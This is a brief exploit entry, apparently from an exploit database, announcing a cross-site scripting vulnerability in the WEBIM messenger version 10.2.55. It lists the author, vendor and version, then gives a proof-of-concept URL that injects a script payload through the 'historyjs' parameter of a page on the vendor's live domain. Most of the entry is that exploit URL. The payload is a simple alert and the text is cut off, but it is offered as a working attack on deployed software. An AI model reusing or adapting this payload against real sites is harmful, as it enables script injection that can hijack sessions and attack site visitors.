WEBIM 10.2.55 Cross Site Scripting Vulnerability

Exploit Title: XSS in WEBIM web application Exploit Author: ASCII Vendor Homepage: HTTPS://WEBIM.RU Version: 10.2.55 Tested on: 10.2.55 Webim messanger XSS POC https://location.webim.ru/webim/iframe-sample.php?historyjs=1%27"%26%25alert1&location=test&redirected=0&webim-visitor=2&webimVisitor=1...